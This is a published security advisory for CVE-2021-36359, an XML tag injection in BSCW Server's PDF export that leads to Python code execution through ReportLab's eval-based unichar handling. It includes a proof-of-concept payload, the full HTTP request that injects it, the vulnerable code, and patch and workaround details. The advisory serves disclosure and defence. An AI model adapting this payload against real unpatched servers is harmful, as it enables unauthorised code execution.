BSCW Server XML Injection

2021.08.31
Credit: Armin Stock
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-91


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

SEC Consult Vulnerability Lab Security Advisory < 20210827-1 > ======================================================================= title: XML Tag injection product: BSCW Server vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2 fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3 CVE number: CVE-2021-36359 impact: high homepage: https://www.bscw.de/classic/ found: 2021-06-30 by: Armin Stock (Atos Germany) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "A versatile system for any field of application BSCW Classic is in use around the world. With more than 500 functions, it offers the right solution for every task. Turn your ideas into reality! Our proven system has been supporting information flow and knowledge management at numerous companies for more than 20 years." Source: https://www.bscw.de/en/classic/ Business recommendation: ------------------------ The vendor provides a patched version for the affected products, which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) XML Tag injection The application allows a user with low privileges to export different objects to a `PDF` file (`Send To -> File(PDF)`) via the `exportpdf` package. To export the content of the objects the framework ReportLab is used. This library supports different tags to export structured content: ------------------------------------------------------------------------------- # File: reportlab/platypus/paraparser.py !!! NOTE !!! THIS TEXT IS NOW REPLICATED IN PARAGRAPH.PY !!! The ParaFormatter will be able to format the following tags: < /b > - bold < /i > - italics < u [color="red"] [width="pts"] [offset="pts"]> < /u > - underline width and offset can be empty meaning use existing canvas line width or with an f/F suffix regarded as a fraction of the font size < strike > < /strike > - strike through has the same parameters as underline < super [size="pts"] [rise="pts"]> < /super > - superscript < sup ="pts"] [rise="pts"]> < /sup > - superscript < sub ="pts"] [rise="pts"]> < /sub > - subscript <font name=fontfamily/fontname color=colorname size=float> <span name=fontfamily/fontname color=colorname backcolor=colorname size=float style=stylename> < bullet > </bullet> - bullet text (at head of para only) <onDraw name=callable label="a label"/> <index [name="callablecanvasattribute"] label="a label"/> <link>link text</link> attributes of links size/fontSize/uwidth/uoffset=num name/face/fontName=name fg/textColor/color/ucolor=color backcolor/backColor/bgcolor=color dest/destination/target/href/link=target underline=bool turn on underline <a>anchor text</a> attributes of anchors fontSize=num fontName=name fg/textColor/color=color backcolor/backColor/bgcolor=color href=href <a name="anchorpoint"/> <unichar name="unicode character name"/> <unichar value="unicode code point"/> <img src="path" width="1in" height="1in" valign="bottom"/> width="w%" --> fontSize*w/100 idea from Roberto Alsina height="h%" --> linewidth*h/100 <ralsina@netmanagers.com.ar> <greek> - </greek> <nobr> ... </nobr> turn off word breaking and hyphenation The whole may be surrounded by <para> </para> tags ------------------------------------------------------------------------------- The application does not properly encode the user content before passing it to `ReportLab`, which allows the user to inject own tags. These tags get evaluated by the `ReportLab`. Depending on the version of `ReportLab` it allows the user to do a `SSRF` (server side request forgery) attack via the `img` tag (https://snyk.io/vuln/SNYK-PYTHON-REPORTLAB-1022145). There are also known vulnerabilites in `ReportLab`: * https://www.cybersecurity-help.cz/vdb/SB2019101613 * https://hg.reportlab.com/hg-public/reportlab/rev/b117091a73c2 This allows an attacker to execute `Python` code via the `unichar` tag or the `color` attribute. Proof of concept: ----------------- 1) XML Tag injection One possible injection point is the `description` of a folder. Using the following payload allows the execution of the `Python` code `28+20`. <strike>hello</strike><unichar code="28+20"/> The result of this code is `48` (ASCII: `0`), which gets written to the generated `PDF` file. ------------------------------------------------------------------------------- POST /sec/bscw.cgi/1917?op=_editfolder.EditFolder HTTP/1.1 Host: bscw.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 765 Origin: http://bscw.local:8080 DNT: 1 Connection: keep-alive Referer: http://bscw.local:8080/sec/bscw.cgi/1917?op=editfolder.EditFolder&id=1917_2088&inside_dialog=1 Cookie: MicroblogInboxIndicatorState=%5B1629367994%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; bscw_dummy_cookie=opensesame; bscw_auth="wsZjskopxMc1MSIVJq1bnn0fqKqLR9hB:108"; _sec_bscws="45aa7a088a17c12646aaf10d670395cb:264" Upgrade-Insecure-Requests: 1 op=editfolder.EditFolder&inside_dialog=1&bscw_v_post=cCzT8tEnZ1kR%2FnH6gC15aLTjerCLR9hB&id=1917_2088&_selected=editfolder.NameTagsDescrRate&_editfolder.NameTagsDescrRate_renameo.Chname_name=hello&_editfolder.NameTagsDescrRate_renameo.Chname_=3&_editfolder.NameTagsDescrRate_chtags.EditTags_tags=&_editfolder.NameTagsDescrRate_chtags.EditTags_=3&_editfolder.NameTagsDescrRate_chdescr.Chdescr_descr=<strike>hello</strike><unichar code="28+20"/>&_editfolder.NameTagsDescrRate_chdescr.Chdescr_=3&_editfolder.NameTagsDescrRate_=3&_approval.approval_approval_choice=approval_inherited&_approval.approval_addactions=approval.approval.ApprovalTaskItem&_approval.approval_=3&_autovers_maxvers=inherit&_autovers_mvnr=&_autovers_=3&_=3&__ok_.x=+++OK+++ ------------------------------------------------------------------------------- The vulnerable code in the `ReportLab` framework: ------------------------------------------------------------------------------- # File: reportlab\platypus\paraparser.py def start_unichar(self, attr): if 'name' in attr: if 'code' in attr: self._syntax_error('<unichar/> invalid with both name and code attributes') try: v = unicodedata.lookup(attr['name']) except KeyError: self._syntax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name'])) v = '\0' elif 'code' in attr: try: v = int(eval(attr['code'])) v = chr(v) if isPy3 else unichr(v) except: self._syntax_error('<unichar/> invalid code attribute %s' % ascii(attr['code'])) v = '\0' ------------------------------------------------------------------------------- Most likely there are more injection points to include own tags, but no further actions were taken to find them. Vulnerable / tested versions: ----------------------------- BSCW Classic 5.2.3 has been used to identify the vulnerability. The vendor confirmed the following versions to be also affected by the vulnerability: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2 Vendor contact timeline: ------------------------ 2021-07-31: Sent report to vendor. 2021-08-01: Vendor confirmed the issue and is working on a patch. 2021-08-19: Vendor notified licensed customers about the issue and a patch. 2021-08-27: Coordinated release of security advisory. Solution: --------- The vendor provides a patched version for the affected and supported products, which should be installed immediately. Additional information can be viewed at the vendor's support page. Workaround: ----------- Ensure the the used `ReportLab` version is >= `3.5.55` to mitigiate an active exploit of these known vulnerabilites. It is also possbile to disable the `Export to PDF` function. This should be the preferred way, until the vendor provides a patch. $ bin/bsadmin package -d exportpdf Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Armin Stock / @2021


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